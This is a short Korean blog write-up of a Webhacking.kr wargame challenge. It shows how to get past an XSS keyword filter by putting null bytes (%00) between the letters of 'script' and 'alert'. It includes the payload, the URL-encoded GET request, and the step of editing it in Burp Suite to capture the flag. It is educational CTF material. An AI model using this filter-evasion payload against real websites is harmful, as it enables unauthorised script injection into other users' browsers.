문제 서버에 접속하면 <script> alert(1) </script>를 주입하나는 문구가 출력됩니다.
하지만 no hack이 출력되므로 필터링을 우회해야합니다. 여러가지 실험을 한 결과 숫자는 필터링에 걸리지 않고 문자를 2개이상 연속으로 이어붙일경우 필터에 걸립니다.
url 인코딩을 보면 null 문자는 %00이므로 문자 사이사이에 %00을 넣으면 아래 명령어가 완성됩니다. 하지만 alert가 제대로 입력되지 않습니다. 그 이유는 %00을 입력하면 url 인코딩에 의해서 %는 %25가 되므로 %2500이 입력되기 때문입니다.
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>
GET /challenge/bonus-3/index.php?code=%3Cs%2500c%2500r%2500i%2500p%2500t%3Ea%2500l%2500e%2500r%2500t%281%29%3B%3C%2Fs%2500c%2500r%2500i%2500p%2500t%3E
따라서 버프스위트에서 값을 <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>로 수정하고 패킷을 보내면 플래그를 획득할 수 있습니다.
'웹 해킹 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-47 (0) | 2021.09.08 |
---|---|
[Webhacking.kr] old-32 (0) | 2021.09.08 |
[Webhacking.kr] old-31 (0) | 2021.09.08 |
[Webhacking.kr] old-27 (0) | 2021.09.08 |
[Webhacking.kr] old-19 (0) | 2021.09.07 |
댓글